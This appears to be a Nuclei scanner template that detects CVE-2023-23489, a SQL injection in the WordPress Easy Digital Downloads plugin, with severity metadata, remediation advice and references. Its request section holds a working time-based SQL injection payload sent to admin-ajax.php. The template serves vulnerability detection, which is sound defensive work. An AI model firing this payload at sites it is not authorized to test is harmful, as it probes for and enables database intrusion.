id: CVE-2023-23489

info:
  name: WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Easy Digital Downloads plugin 3.1.0.2 and 3.1.0.3 contains a SQL injection vulnerability in the s parameter of its edd_download_search action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of Easy Digital Downloads plugin (3.1.0.4 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
    - https://wordpress.org/plugins/easy-digital-downloads/
    - https://www.tenable.com/security/research/tra-2023-2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23489
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-23489
    cwe-id: CWE-89
    epss-score: 0.11172
    epss-percentile: 0.95385
    cpe: cpe:2.3:a:sandhillsdev:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sandhillsdev
    product: easy_digital_downloads
    framework: wordpress
  tags: time-based-sqli,cve,cve2023,easy-digital-downloads,unauth,wpscan,wordpress,wp,wp-plugin,sqli,tenable,sandhillsdev,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code_1 == 200'
          - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
        condition: and
# digest: 4a0a00473045022100937f918e78641461c5be803b27c7bac05e5d2d708bc2f3d006934aa3281db4c9022061b98ce7743a4a6a2bcf96970ee145cad5d385313251183fff1c77ee0d066d21:922c64590222798bb761d5b6d8e72950